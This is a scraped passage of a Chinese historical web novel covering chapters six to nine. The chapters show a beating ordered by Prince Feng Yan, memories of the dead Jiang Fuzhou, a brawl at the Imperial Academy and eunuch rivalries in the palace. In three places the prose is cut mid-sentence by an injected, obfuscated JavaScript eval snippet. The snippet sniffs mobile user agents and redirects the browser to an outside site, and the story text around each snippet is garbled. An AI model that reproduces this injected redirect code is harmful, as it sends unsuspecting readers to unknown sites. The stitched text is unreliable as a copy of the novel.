封衍骨节分明的手指拨弄着手心的檀木念珠,一粒一粒划过,光滑的纹路摩挲在掌心,虽看不分明,但也能感受到封竹西的紧张,他缓下声来,“不着急,慢慢说。” 封竹西打小不受家里待见,父王早逝,敦王府只有敦王妃一人撑着偌大的家业,她积劳成疾,脾性古怪。封竹西五六岁的时候就经常被关在暗室里不见天日,到了启蒙的年齿却连话都说不清楚,书更读不明白。后来被江扶舟接走,整日陪着,好吃好玩带着,教他骑射识字,让他学着结交玩伴。十年光景,才有今日鲜衣怒马的少年郎模样。 因幼时被困的经历,封竹西太紧张亦或是焦躁不安的时候会结巴着说不出话来。 对上封衍黯然失色的瞳孔,封竹西愣住了,他这才注意到封衍的旧疾复发了,劳累之躯还要去东厂接他出来,顿时心里堵得慌,“四叔,你的眼睛怎么了?” “这不打紧,你刚才要说什么?” 封竹西此时得知是这样的情形之后,心里越发虚了,下意识攥紧拳头,抿了抿唇,给自己鼓足了勇气,“四月十六日,慕怀是为了帮我才没去国子监,他本不该受这杖责,冤有头债有主,我皮厚肉糙,干脆打我吧,不过二十杖,我躺几日便好了。” 闻言,封衍随意地将念珠搁在另一只手的掌心,“那便打他十杖。你把没抄完的书重新再抄一遍。” 心中无比忐忑的封竹西听到他这话还是从心底里生出几分不情愿,他爱憎分明,觉得自己的事情不应该连累他人,封衍却像是能够参透人心,“还不满意?若是刚才你没说,那便打你三十杖,罚三遍重抄,打他二十杖。” “可这分明与他无关,是我的错。” “他自己做出的选择难道他没有半点错吗?” 封竹西一时语塞,可脑海里的一根弦紧紧绷着,哑了声,“可今日在东厂,他为了救温予衡,被人打了两记重棍,如何能受得了这杖责。” 封衍坐直了身子,念珠的拨穗一甩,他看向了庭院中央,“你这位好友好似不是这样的想的,敢作敢当,平章,你小瞧他了。” 不知为何封衍来这一句的封竹西猛地转过头,就看到已经在长椅上躺好准备受刑的徐方谨,他的心立时便慌乱了,在看到棍棒重重砸下的一瞬,天地仿佛静寂无声。 太过仓促,徐方谨不想封衍和封竹西再因为他争执,只想速战速决。不就是挨打,他打小被打到大,什么板子没吃过,再磨磨唧唧不知道要等到什么时候。他随意塞了棉布在嘴里,却不甚牵扯到肩背上的旧伤,在剧痛的拉扯中棉布掉落。 一个重棍下来,他喉腔里堵住的血一口没忍住就喷了出来。 他猛地抬头看到了封衍,直直看向了他黯淡无光的眼眸,顿时心中的悲痛和惊慌又加重了一层。从东厂出来,他的眼神一直逃避,不敢去多看一眼封衍,过往太过沉重,相隔五年,早已物是人非。 可当他看到封衍失了神采的瞳孔,不可抑制的心痛倏然横贯心间,一瞬间超过了□□上的疼痛,成为了一根巨刺,深深扎在了心口,流出咕咕深红的血液。 当封竹西满脸焦急地跑来蹲在他旁边,他抹去唇角的鲜血,眼眸眼角布满了红色,颤抖的声音很细很低,“他眼睛怎么了?” 像是被风吹落,在巨大的喘息声中全部被吞噬。 封竹西根本听不清他这嗓子里呜咽着的是什么声音,只当他是太过疼痛以至于在哭。几乎是要乱了神志,不知为何封竹西难过到浑身在发颤,像是又回到了江扶舟走了那几日,他几近痛不欲生,肝肠寸断。他知道他是饮鸩自尽,毒酒穿喉,犹如万箭穿心,该有多怨多恨。 徐方谨勉强捡回神志,一把将人拉扯开,高声呼“再打!”他重新捡回地上的棉布,随意塞进嘴里,喉间滚着沙尘淤血,他握紧了拳头,等待下一次的棍棒降落。 一记重棍砸落,砸在皮肉上钝痛的声响泛起余波,徐方谨咬紧口中的带血棉布,被打的一瞬身体仿若断成开裂的两节。 接着又是一记落下。 明明都是杖责,可这样的徐方谨却让还停留在场内的零星人等生出几分悲悯来。 接连的棍棒加诸毫不留情,被猛地推开的封竹西还没缓神的时候已经打了五棍了,他也顾不得什么,直接飞身扑在了徐方谨的身上,替他挨下了第六记重棍。 看到这一幕的人都震惊了。封衍直接站了起来,脸色骤然阴沉下来。 负责杖责的青越不敢再打了,怀王府的人哪个不是看着小郡王长大的,哪里舍得动他,看到他这幅模样都心生不忍。 封竹西一直藏着的眼泪哗啦就落了,不知是痛的还是吓的,他死死抱住徐方谨,扬起满是泪痕的脸,大声控诉封衍,“我不准你打他,你不能打他。我不许,不能打……” 到后面完全是哽咽的哭声,“你凭什么这么对他!” “当年他死的时候你在哪里?怀王府挂满堂彩和喜字,你在另娶他人!江伯伯一直在等他回家,可他为了你连家都不要了,最后却落得那样的下场。” 这已经是受到莫大刺激在胡言乱语了,沈修竹只庆幸自己刚刚察觉不对,早就把无关紧要的人都清出去,眼下只有他们几人在庭院里。 他快步走过去,想要拉过封竹西看看伤得怎么样了,却被封衍一句话呵住。 “你让他说!” 封竹西通红的眼眸死死盯着封衍,叔侄两个谁都不肯让谁,他梗着脖子,一把抹掉眼泪,“我说的哪一句有错?你不就是因为旁人说一句慕怀像他才这般的吗?你在怕什么?你现在做梦都梦不到他对不对?” 字字句句完全是在戳封衍的肺管子,沈修竹真怕下一秒封衍提剑就要把封竹西杀了。 “我同积玉相识十七载,还轮不到你在这里论短道长。封竹西,你看清楚了,他是谁?你又为何如此护着他?” 封竹西也管不了什么,只顾着一通火到处乱发,“他是谁我清清楚楚!” “咔”青越在沈修竹的示意下给封竹西后颈来了一下,封竹西眼睛一闭,软了身子被沈修竹接住。 将人丢给青越,沈修竹犹豫着走到了封衍的面前,“载之,小孩子口无遮拦,你别放心上。今日他着急上头了,说的都不是心里话。” 可他们比任何人都清楚封竹西说的就是真心话,也不止他一人心壑难平。 封衍负手而立,向远处眺望,神色恢复了平静。院角的竹林葱郁,映衬着他瘦削挺拔的身姿在风中寂寥。 *** 司礼监值事厅外,已是金乌西坠,重檐垂落星河一角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251941|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王铁林呷着一口热茶,未脱的玉扳指在玉柱玉帘窗隔灯的打照下显得水玉莹润,渲然夺目。他身旁坐着宁遥清,正看着锦衣卫今日新的记报,细微的翻页声在寂静无声的厅内分外明显。 其余几个秉笔太监默契地分列两排站着,低头不敢看向上面。 “嘎吱。”门被打开,王铁林淡淡一声来了,若隐若现的目光打量在来人身上。 只见一个身量挑高,长相周正的內监恭敬走了进来,跪身行礼,行云流水,规矩是极好的,挑不出半点错来。 “这几日易水跟在我身旁伺候,抄录佛经、随经附诵,都是顶好的。又讲规矩,明尊卑,博闻强识。还要多谢宁公公养了一株好苗子,忍痛割爱给咱家了。” 宁遥清身后跟着的成实险些没被王铁林这厚颜无耻的话气个仰倒,愤愤不平的目光直直落在了堂中秋易水的身上,恨不得将他扔进太液池里淹死。 想当初在内书堂秋易水受尽了欺负,吃不饱穿不暖,好几次被人戏耍着扔进水里不管不顾,瘦的只剩皮包骨。还是宁遥清瞧见后,考校学问后惜才将人救了,从此护在羽翼之下,让他安心读书进学。本来今年都已经在司礼监安排他做掌司了,可却因为对食的事情同宁遥清决裂,转头就拜在了王铁林的门下。 宦官重义,因着这事,宫里二十四监都传遍了,没一个看得起他的,有些人甚至路过都恨不得踩上两脚,何况是宁遥清的身边随侍的。 可论着手腕心性,却没有一个不佩服艳羡他的,一个叛徒改换门庭,却深得脾气怪异的王铁林喜爱,隐隐有超过大弟子宋石岩的势头。此次王铁林出宫礼佛选百年归所都带上了他。 宁遥清翻过一页来,连头都没抬,“不敢当,人各有志,愿意去哪都是自己的前程,都是替陛下当差,谁带都一样。” 听到这话的王铁林可就不赞同了,“这哪能一样呢?宁公公曾是进士出身,一甲登科,自然博学多闻,学富五车,是文曲星下凡。这带出来的人自然卓尔不凡,怎么是我们这些凡夫俗子能比的呢?” 一席话让在场的氛围骤然阴沉了下来,话里话外都带着的剑拔弩张的意味。 这一回,宁遥清抬眼看来,幽深的眼神略过几道极寒的锋刃。 “王公公言重了。” 这天下谁人不知宁遥清曾是两榜进士,天子门生,十七岁登科及第,春风得意马蹄疾,入翰林院一年半,十八岁时做了在京都未名府做了个七品推官。由于敢于抗上,不阿权贵,经办了当时轰动一时的平宁侯杀人案,从此平步青云,得到了延熙帝的赏识。 可好景不长,延熙七年,延熙帝膝下唯一子嗣夭折,他听信邪方妖术之言,认定是山东曲宁县地动,诅咒了幼子,欲将一县生民坑杀以作陪葬。宁遥清宁死不从,连上十八道奏疏以示其举荒谬残暴,悲痛过度的延熙帝下令将宁遥清处以宫刑,举国震惊。 而后宁遥清被放逐到宫禁内的净房扫洗恭桶,从此不闻其名。直至建宁元年,宁遥清凭着从龙之功横空出世,做了司礼监首席秉笔太监,听闻与陛下有患难之情,深得宠幸,甚至可以与司礼监掌印太监平起平坐。 王铁林皮笑肉不笑,挂着一副温良和善的面孔,让秋易水起身给宁遥清倒茶,“还不快谢谢宁公公,多谢他栽培才有你今天,日后可得好好孝敬宁公公才是。” 宁遥晚上难眠从不喝茶,抬眸看向了恭敬谦卑递茶的秋易水,“我性子严苛,你不喜也是常事,王公公念佛心善,日后你跟着他也是一份善缘。” 随手将茶接过来,稳稳当当放在了案几上。 场内的人神色各异,而在王铁林身旁的宋石岩阴冷的目光藏在了低头的恭顺里。 7. 第七章 重山环绕,云烟袅袅,飞鸟越过蔼蔼千林,缥碧层叠,偶闻游鹤长鸣,群山回响。 “阿舟,你别挡着我,头低点,找到没有啊。”宋明川拨开细密的枝条,一把按下江扶舟的脑袋,自己冒出个头来。 江扶舟揉了揉生疼的额头,“还没找到呢,是不是你们骗我,那人真的是骈胁吗?赵四还说那人有三只耳朵,六根手指。这还是人吗?不是怪物吧。” 远远就听到江扶舟在质疑他的赵鸣柯扔了一个野栗子过来,狠狠砸了一下江扶舟另一角的额头,“那还有假吗?我府里小厮的表亲可是这庄子里的人,说是亲眼看见。” 江扶舟嘟囔了一下,“还说庄子里的人呢,我们连门都进不去,绕了大半圈,还没找到你说的那个可以进去的小门。” 他自顾自走着,都没注意看路,脚一迈,扑腾就撞在了墙上,吃痛地喊了一声,但他定睛一看,忽而眼前一亮,他大声地喊,“我好像找到了!” 下一秒就被宋明川捂住了嘴,“你疯了吗?生怕别人不知道你是偷偷进来的。” 可当他们几个扒开所谓的小门的时候,纷纷傻了眼,围着的高墙根本没有死角,反倒是只有一条狭长的流水处可以进去。 “要不还是算了吧……我可不会水。”宋明川挠了挠头,打起了退堂鼓,转过头却看到了已经在脱衣挽裤的江扶舟,“你真要进去呀?” 江扶舟也不耽搁,说干就干,“那人不是说庄子看守的人少吗?我先进去看看能不能打开里头的门,然后放你们进来。” 赵鸣柯探身看了看流水,心里发毛,其他几个也不敢下去,只好叮嘱江扶舟,“江三你可千万小心些,若是不能进去,你早些回来。” 向来胆大的江扶舟拍了拍胸脯保证,“我去去就来!”说完就跳进温凉的水里奋力游走。 暗流涌动,很长的一条水道,江扶舟一开始还给自己鼓劲,但越游就越没有方向,不知过了多久,他心里有些发虚,但他很快镇定下来,定着心神,顺着光亮的方向去,层层的水波推游开来,天水碧的水纹剔透,他如游鱼,终于在一个顶角的石壁前找到了出去的路。 破开水浪,扒开层层叠叠的绿植,江扶舟头顶着一朵硕大的荷花就出水了。 江扶舟爬上池岸,拧着湿衣服,他左右张望都没看见人,抹了一把湿漉漉的脸,他四处找起了他进来的小门方向,重屋排排,他一时迷了眼,太大的院子曲径通幽。 但这一处实在静谧到让人害怕,他拖着湿衣服,有些冷意冒了上来,不知东摸西找进到了哪里,前头路尽,他只得钻进了一个低矮的小门里。 再推开的时候,扑面而来的热气水雾让他迷了眼,还没等到他有下一步的动作,迎面而来场景让他怔楞呆住。 偌大的浴池里站着一个男子,腰身精瘦,劲健的肌骨白皙似雪,肩背凌厉如刃,利落有致,面如冠玉,鬓若刀裁,剑眉下的冷目泛着寒光,深邃幽沉。 同江扶舟对视的那一瞬他眼神陡转凛然,忽而一段素白纱绢从天而降,捆缚住了呆若木鸡的江扶舟,但他那一声惊呼却让人听得明明白白。 “好俊的公子。” 此话一出,江扶舟明显感觉到面前这位俊公子更生气了。 接下去就是他被五花大绑,塞了一嘴的棉布,呜呜哑哑的说不出话来,转眼就被人提溜着到了一个厅堂,而后他就看到了穿着整齐出来的公子,彼时站在水中不显,如今站在面前了才知道其身量之高。 那人的眉眼间添了几分倦烦,肃冷的面容瞧不出半点情绪,“噌”的一下寒凉的利刃出鞘,刀刃一面冰冷刺骨,拍打在了江扶舟的侧脸,他淡淡道:“杀了吧。” 江扶舟简直不敢相信自己的耳朵,瞪圆了眼睛,立刻全身拼命挣扎起来,身上捆绑着的麻绳却越来越紧,无论怎么都挣脱不开。 似是欣赏够了他这幅蠢态,那人站起身来,一句话就决定了江扶舟的命运,“打二十杖之后扔出去。” 之后的疼痛仿佛具象化,冲破喉咙喊的痛呼声回荡在脑海里。 一梦乍醒,满额头的冷汗被人用布拂去,徐方谨猛地睁开眼,一时间竟然分不清是梦境还是现实,是回忆还是虚幻。 紧紧抓着封竹西的手没放,他布满红血丝的眼眸怔楞了许久,直到看到封竹西眼角的一抹尚未褪去的红,才放开了手。 说来惭愧,现在这样的体格连十二三岁的时候都比不过,不过才打几下就受不住晕了过去。不过片刻,徐方谨的记忆就回笼了,他蓦然看向了封竹西,着急着就想要起身,“你受伤了没有,被打了几下?上药了没有?” 封竹西按着不让他起来,“就一下,后面就没打了,我没事。”说起这个,他立刻换了一幅凶神恶煞的样子,“你自己上去找打呢是不是?我是那么不讲义气的人吗?” 徐方谨叹了口气,“是我自己没去国子监,与你无关。” 封竹西还想说什么,却被门口传来的几声咳嗽声打断,只见懒懒倚在门上的沈修竹就这样看着他们。 刚刚还敢跟封衍呛声的封竹西此时像是老鼠见了猫一般,向老师沈修竹问安,然后殷勤地准备搬了一把椅子过来,谁知弯腰的时候扯到了伤口,痛得牙根都在打颤。 对封竹西真是没招了的沈修竹只好自己动手搬一张椅子过来坐。他对着躺着养伤的徐方谨倒是和颜悦色,“可好些了?” 得到肯定回复之后他点了点头,他用平和的目光认真地打量了一下徐方谨。 说实话他现在思绪很复杂,自打积玉身故之后,封竹西和封衍的关系一直不大好,头两年甚至封竹西对封衍避而不见,哪怕后来看着缓和了些,但那根刺始终都在。而此时,徐方谨的出现无疑让这池水更加浑浊。 从前沈修竹不以为意,到了今天他才正眼看这个突然出现在封竹西身边的人。 “听你的口音,不像初来京都。”沈修竹温和地看向趴在塌上养伤的徐方谨。 对上他的明晃晃打量的视线,徐方谨很淡然,“延熙元年,我随表亲来京都小住过一段时日。”已经知道了沈修竹的意图,他接着又提起了这位表亲,“那时我表姐正在和江府的江池新公子议亲。” 封竹西突然就着他的话追问,“你表姐叫什么?” “孟玉瑶。” 太过熟悉的名字以至于封竹西脑子一下嗡声作响,“你怎么从来没跟我说过?” 徐方谨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不摔摔打打,封竹西总是那么天真可不行。 不过,沈修竹此番前来还有另外一件事要说,“平章,陛下下了旨意,让你同刑部堂官和陆大人一同审理法场的那起冤案,这几日便去刑部看看吧。” 封竹西本来塌着的腰突然又直了,满脸的错愕,用手指着自己,“我?” 沈修竹意味不明地在封竹西和徐方谨身上扫过几眼,“锦衣卫和东厂的眼线遍布京都,你在法场上可出了不小的风头,转眼又入了东厂监牢,陛下想不看到你都难。” 看到封竹西一脸苦相,沈修竹拍了拍他的肩膀,“高低你也是个郡王,怎么怕了不成?若有事,便来寻我。” “行吧。” 长叹了一口气,封竹西又认命地拿起巾布来替徐方谨的额头擦汗,不经嘟囔,“怎么才一会,又出那么多汗呀,要不要再上些止疼的药粉?” 沈修竹本来都走到门口了,听到这话回头看了徐方谨一眼,意味深长地与他对视上,“对了,徐慕怀,国子监司业简大人让人来传话,你们这些伤好了就尽快回国子监。” 听到这个名字,徐方谨放在被褥里的手指轻轻动了两下,答复后垂下了眼眸。 8. 第八章 国子监东西六堂东位于辟雍殿的东、西两侧,东侧从南到北是崇志堂、诚心堂和率性堂,西侧自南而北为广业堂、正义堂、修道堂。 此时诚心堂外廊下,有一群穿着青玉色襕衫的监生正挡在一人面前不肯让路,几人嬉嬉闹闹地围着,说什么都不肯让开。 “幼平兄,听说你昨日又做了一篇文,深得张先生的赏识。怎么不拿出来给我们这些人品鉴一番。” “幼平兄不会看不起我们吧。这作诗作文你都是甲等,什么时候也好教教我们。看个文章,你不会那么小气吧。” “不借。”孔图南抬眼冷冷看他们一眼,他早就知晓这些人所谓的品鉴就是准备当着他的面羞辱他。 那人拦着孔图南,随手好玩地拨弄起孔图南散着的长发来,嘴角扬起几分的嘲讽,“果然状元之才就是这样的心高气傲,不过以你这幅尊荣,就是走上金銮殿都会吓着陛下吧” 周围人一听笑作了一团,面前的孔图南一头乌发乱糟糟的随意散乱,身上的襕衫也因为多次浆洗色泽暗淡,书写时沾染的墨迹在胸前的布料上随处可见。他素日里不修边幅,衣袖破旧也不缝补,随手拿过剪子一把就剪掉,导致衣衫是左右不齐,长短不一,活像个叫花子。 孔图南突然被撩开头发,靠在后头不远处廊柱上的徐方谨看到了他脸上的好几道深浅不一的疤痕,长的甚至横贯了整个面容,乍一眼看还会被惊到,才明白那人嘲讽时说的话是什么意思。 徐方谨回过国子监已经有几日了,每日忙着课业,偶然能收到封竹西送来的信件和吃食。他在京都没什么朋友,国子监里的人大抵都有自己交好的友人,且因为小郡王的事情有意疏远他,所以他形单影只,倒也显得自在。不过这几日被他救过的温予衡倒是会在他身边走动走动,同他说一些国子监里头的事情。 在他身旁的温予衡瞧见他此时的神色便低声跟他说:“这孔图南,实是一个怪人,平日里蓬头垢面的,甚少与人往来,不过学识极好,连最严苛的周先生都说他有状元之才。听说他能进国子监是因为曾经救过永王世子,然后得到府学的举荐,现在脸上这些伤疤就是在那个时候留下的。” 说到此,温予衡的声音更低了,几乎是耳语,“不过后来永王世子死了,他无人照拂便时常受到欺负。” 欺负这两个字刚出口,就看见孔图南忽然重力推了一把撩起他头发的那人,脸上的表情极为冷淡。 那人踉跄几下,突然就往地下倒去,哎哎呦呦地抱着腿叫出声,“打人了,打人了,状元打人了。” “不过是同窗间叙话,孔幼平你怎么下手那么狠!” “就是就是,我看你今天就是想要找事情,你不仁我不义,大家跟我上。” 当即就有人围了上来,后头的徐方谨下意识抬步想要上去看情况,下一秒却被哗啦一盆冷水浇得兜头凉,只见是从包围圈那头连水带盆泼过来的,叮叮哐哐的木盆砸在地上发出巨大的响声。 孔图南也被激起了血性,生生挡下了对方砸来的一拳,他用左臂猛地回击,右侧突然又是一盆水泼了过来,这次他没躲过去,直接被淋的从头湿到脚,乱糟糟的头发被水打湿,露出他的略显狰狞的脸。 一场混战就这样开始了,起初是孔图南一人的单打独斗,可后面的人却将徐方谨也一同拉入乱局,于是两人莫名其妙一起开始打斗起来,早看不对劲的温予衡跑得比兔子还快,没见踪影了。 徐方谨敏锐察觉到乱拳中的有几拳有些章法,他抬臂落腿的时候硬生生接下了那几下,乱拳横飞,他目不暇接,一时躲闪也多有不及,但他很快发现刚才出拳的那人收了力道,很快如烟云般悄无声息流散在人海里。 也不过是一盏茶的功夫,廊外就闹得不可开交了。已经七十多的张先生本来在修德堂上课,听到打斗声后,拄着拐就走出来了,他那两句严肃气愤的“成何体统”淹没了在了人海的声潮里,他走得慢,还险些卷进去,亏的眼疾手快的温予衡好说歹说给架走了。 这一场闹剧火速传遍了整个国子监,监丞火急火燎地赶来,身后还跟着好几个助教和学正。 “都给我住手!” 监丞脾气爆,一声狮子吼嚷的所有人都停下了手。 他气到手都在发抖,怒发冲冠,方正的脸上愤怒尖锐的眼神扫看过在场打得鼻青脸肿的几人,“真是一刻都不消停!前几日还有监生贪玩进了东厂监牢,若不是怀王殿下,他们一个个还在里面哭爹喊娘呢!被打了二十杖都不长记性吗?” 眼睛尖的监丞一眼就看到了想要偷偷溜走的左兴澜,他更是气得胡子打岔,“站住!左兴澜你还有脸跑,今天这件事是不是你挑起来的?” “冤枉啊,我就是来看个热闹,不知怎么就打起来了。”左兴澜委屈地拉起衣袖,“我还被打了好几下呢。” 另外一个人也愤愤不平地嚷嚷,“都是他们先动的手,监丞还说我们挑事,如此处事是不是有失公允了。” 监丞已经要昏厥了,捂住心口被后头的学正搀扶着,“你还有脸委屈,哪次没有你?” 徐方谨默默扶着受伤比较严重的孔图南站在一旁,没有人敢靠近他们,天然就把他们两个划在了一起。他好在习过武,避开了许多要害,也就受了些皮肉伤,只是刚刚那盆水泼过来,全身上下湿漉漉的,两个人看上去极其落魄。 本来就忙着接待国子监司业的监丞在值房内听到这个消息差点一口气没吊上来,五内俱焚,一时间腿软的都走不动道,还是身旁的学正和助教架着才没跌个狗啃泥。祭酒因病告假,国子监全部的事情都由司业负责,司业前阵子南下到去鹿洞书院巡游,这几日才回来,现在这个烂摊子摆在眼前了,监丞真的心口发痛了。 国子监里监生来源复杂,不乏家中有钱有势的,平日里目中无人,惹是生非,司业在的时候还能装装样子,司业一走个个趾高气昂,不把任何人放在眼里,偏生都是家中千宠万宠的,谁都得罪不起,几个德高望重的博士有时都苦不堪言。 这几个月简直是噩梦一场,监丞还得跟司业交代,这几日寝食难安,辗转反侧。 “先生,兹事体大,不如将他们先关了禁闭,等明日简大人回来再论处。”出列的是国子监典簿赵其林,虽是从八品,但他与司业关系密切,以师生相称,还是首辅赵景文的幼孙,平日里比他这个正八品的监丞说话分量还重些。 监丞就等着他出面来处置这件事,于是当即下令让人带走,涉事的一干人等全部关禁闭。 此话一出,刚刚还闹腾地欢快的几个公子哥立刻蔫了,这关禁闭可不是就呆在屋内就行了,得在里头静心抄书,要抄够一定的量,不然会按照所抄录书册的多少来延长关禁闭的时长。且里头供应的餐食极其简陋,头一日只给水,次日起一日给两个馒头。 但到了这个时候,没有人敢再闹事了,若是此时在各位学官面前还桀骜不驯,那便是自寻死路,严重些就会被国子监清退,有了这层名声,家中人的仕途也会受到影响。 徐方谨不动声色地打量了一下典簿赵其林,他行步间偶然间能瞧见他袖中的一段靛蓝色,但很快就被衣袍遮过,刚刚的一瞬快得好像是幻觉。 他脑海中乍然闪过刚才乱战中的几拳。 *** 司礼监内,一屋敞亮,寂静的厅堂内的几个内侍轻手轻脚,恭顺低头做事,手脚麻利地擦拭和摆放物件,见圈椅上的王铁林摆手他们退下,便悄无声息地退出去,轻声关好门。 黄花梨荷叶式六足香几上放着一碗热气腾腾的汤药,宋石岩小心翼翼地端起,送到了干爹王铁林的身边,伺候他用药。褐色泛黑的药物散发出的苦味让人喉间窒息,碗底滚烫,但他还是恭恭敬敬地端着,不敢有丝毫的懈怠。 王铁林岂能不知他的心思,“这药中的挽口、羊白腰和龙卵都是好东西。这两个月宫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251943|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事都是你在操持,赏你喝了吧。” 这药是宋石岩让人去抓的,知晓这里头放了羊鞭牛鞭等牝具,宫中一些太监私底下都会服用,是传下来的老配方了,可他常日里便不碰这些,甚至心里还有些膈应,突然来这一下,他也没反应过来。 “怎么?怕干爹害你?”王铁林平声细语的话里却像是一条重鞭子,狠狠抽打在他脸上。 宋石岩牙一咬,眼一闭,立刻就一饮而尽,然后立马跪下,快步膝行到王铁林面前跪下,“怎么会,干爹待儿子像是亲生,怎么会害儿子呢?您的大恩大德,我永世难报。” “啪!”一声响亮干脆的巴掌打在了他脸上,王铁林俯身下来,凑近了些,“蠢货!我不求你报恩了,但你都干了什么?管着个东厂把你能耐上了?咱家还不知道这些日子你都在宫里背着我做了些什么。” 宋石岩被这话差点吓得魂飞魄散,当即跪下砰砰砰地用力磕头,砖板震响,“儿子不敢!儿子不敢!儿子不敢!” 好歹也是打小在身边长大的,看到他这幅磕头的惨样,王铁林不由得叹了口气,“莫要磕了,明白回话。” 磕破的额头上鲜血淋漓,只留下两颊,宋石岩也顾不上了,抹掉眼泪便老实回话,“醉云楼死的那个是奶娘府的奶娘,有些姿色,秦王殿下看上了,但秦王妃即将临盆,跑到宫中哭诉,贵妃于是召见了这个奶娘,然后……”他顿了一下,没在这个话头继续下去,而是说起了后续的事。 “宫里的内侍没处理干净,恰好那日周太妃生辰召杂耍班子入宫,阴差阳错间被人用箱子带出了宫,又碰上了小郡王在醉云楼宴客,这才事发。” 见王铁林沉思,琢磨他脾性的宋石岩知道他松动了,便趁热打铁地继续说道:“事关宫里,牵扯到皇子和贵妃娘娘,儿子不敢擅专,这才让东厂的人出动,若是让文官知晓了,怕事情就不好收场了。” 听到这里,王铁林缓和了神色,“这件事你做得对,宫里的脸面是大事。这件事我会同陛下禀报内里详情,但你行事还是太不谨慎了,容易授人以柄。那么多外官的公子都在里面,闹得沸沸扬扬,不得安生。” 宋石岩跪着给王铁林小心地捶腿,“都是儿子的错,连累干爹在陛下面前受累了。” 王铁林靠在红木云纹圈椅背上,闭上了眼睛,显得有些疲累,“我这把老骨头,比不得你们年轻人了。”他掀起眼皮,“同在御前,宁遥清比你受宠多了,若不是你手头拿着东厂,迟早给人挤下去了。” 这话说的不在理,人家宁遥清在陛下被囚北苑的时候就攀上了,后来又随驾重登帝位,炙手可热,深得陛下信任,且亲哥哥是锦衣卫指挥使,连王铁林见他都要客气几分。 但这话宋石岩不敢跟干爹说,他只得讷讷点头,“干爹说的是。” “你这额头破成这样,怎么在御前当差?先去修养几日,这些日子就让易水先替你在御前当差。”王铁林轻飘飘的一句话给了宋石岩当头一棒,他被砸得闷头响,脸上满是惊恐。御前的活计就是在陛下面前混脸熟,若是从此被排挤出御前,那他还有活路吗? 正当宋石岩想要再恳求王铁林的时候,王铁林先开了口,“人要知足常乐,出了这么大的事情,干爹保了你,你得知道收敛,伤好了之后再去御前。” 看到宋石岩失魂落魄的样子,王铁林面色不改,又提起了另外一件事,“荥州矿场出了事,死了不少人,袁故知把这事掀了出来,在陛下那里得了脸,不日便要升回京都了。咱们爷俩,心里可得有数。” 噩耗一个接着一个,宋石岩只觉得晴天霹雳,头脑发昏,当年袁故知被排挤出京都,东厂可是出了不少的力,且宫中太监外遣到地方监管税课,荥阳矿场是他手下的人主管的。 一时瘫坐在地上,宋石岩一颗心砰砰直跳。 前头醉云楼出事,后脚浙江案件的掀起外廷波澜,宋石岩只察觉到山雨欲来风满楼。 9. 第九章 铜胎掐丝珐琅缠枝莲纹双扳香炉燃着的檀木香冉冉升起,衬得一室寂静,进出的侍从都蹑手蹑脚,微声细步。 封衍装得太像,沈修竹是在他下第三个棋子才发现他现在眼睛完全不能视物,仅凭声响辨位。 沈修竹腾得一下站起来,冷着一张脸,“褚逸人呢,我要问问他到底是怎么回事,几日没见,怎么没有好转,反而越来越严重了。” 青越性子急些,没看到旁边青木给他使得眼色,低声答问:“褚大夫前日一气之下便离开王府了,至今没有踪迹。” “出去。”淡淡的这一声,却似携雷霆之威,压顶而来。 青越的脸色闪过几分异样,但他知晓封衍的脾气,跪下磕头谢罪之后便推门下去了。 看到此情此景,沈修竹慢慢冷静下来了,“是不是星眠又出了什么事?你本就积劳成疾,更应该多保重身体。” 封衍手里攥着玉色棋子,轻轻放下,发出泉击清石的清脆声,“北边战事吃紧,月苏的朝贡紧缺,库里剩的一些今年都用完了。” 沈修竹立刻明白了,月苏进贡的百树藤极其稀少罕见,却是治疗星眠病症的重要一味药,一向封存在大内,药品的进出核查都经过严格的监管。 但封衍的下面说的才是让他真正胆寒的话。 “今年年初抄定王的家,获银共两百万两。陛下传了密函来,让人押解一百万两入内承运库。”沈修竹的专注的目光凝滞在了封衍身上,一时心惊肉跳,呼吸微顿。内承运库是天子私库,户部每年都要从田赋中分一百万两来供给内廷,此外还有各地解送的缎匹和金银皆归其掌管。 “济州战况早就苦不堪言,我命人入账了户部,调拨银两先行发往,再截留三十万两入内廷。” 沈修竹坐不住了,“你疯了不成?”三七的比例,陛下必然是勃然大怒,但银两用在了军事正途,那么怨气只会撒在封衍身上。 封衍同自己对弈,再放下一颗棋子,敛眉沉思,“莫急,我已经命人前去边境月苏探勘情况了。” 怎么能不急?天子一怒,伏尸百万。这一次是百树藤,那下一次是什么呢? 沈修竹又急又燥,这件事情理两难,面色几经变化,“我再去信西南那边问问,还有没有好的药可替代。”但他心中明白,若是有,不会这么些年了,还是一无所获。且西南那边苗民起叛,局势危急,若是再起战火,怕到时候封衍要再赴西南了,可他这样的身体,如何能经得起长途奔劳? 不想好友烦心,封衍挽袖捏起几颗棋在手中把玩,说起了别的事,“醉云楼案有结果了,你怎么看?” 